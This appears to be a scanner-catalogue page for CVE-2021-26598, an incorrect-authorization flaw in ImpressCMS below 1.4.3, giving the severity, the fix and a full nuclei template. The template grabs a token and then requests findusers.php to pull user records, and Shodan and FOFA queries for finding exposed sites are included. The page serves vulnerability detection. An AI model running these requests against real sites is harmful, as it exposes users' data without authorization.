ImpressCMS <1.4.3 - Incorrect Authorization

mediumseverity

5.3CVSS score

10.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can bypass authorization and gain unauthorized access to sensitive information or perform unauthorized actions.

Fix

Upgrade to ImpressCMS version 1.4.3 or later to fix the vulnerability.

How to confirm it

Send: GET /misc.php?action=showpopups&type=friend ; GET /include/findusers.php?token={{token}}
Positive when: contains in body_2 "last_login" and "user_regdate" and "uname" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26598 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-26598

info:
  name: ImpressCMS <1.4.3 - Incorrect Authorization
  author: gy741,pdteam
  severity: medium
  description: ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can bypass authorization and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade to ImpressCMS version 1.4.3 or later to fix the vulnerability.
  reference:
    - https://hackerone.com/reports/1081137
    - http://karmainsecurity.com/KIS-2022-03
    - https://github.com/ImpressCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26598
    cwe-id: CWE-287
    epss-score: 0.10528
    epss-percentile: 0.95806
    cpe: cpe:2.3:a:impresscms:impresscms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: impresscms
    product: impresscms
    shodan-query:
      - http.html:"ImpressCMS"
      - cpe:"cpe:2.3:a:impresscms:impresscms"
      - http.html:"impresscms"
    fofa-query: body="impresscms"
  tags: cve,cve2021,hackerone,impresscms,unauth,cms,vuln

http:
  - raw:
      - |
        GET /misc.php?action=showpopups&type=friend HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
      - |
        GET /include/findusers.php?token={{token}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'last_login'
          - 'user_regdate'
          - 'uname'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - "REQUEST' value='(.*?)'"
          - 'REQUEST" value="(.*?)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from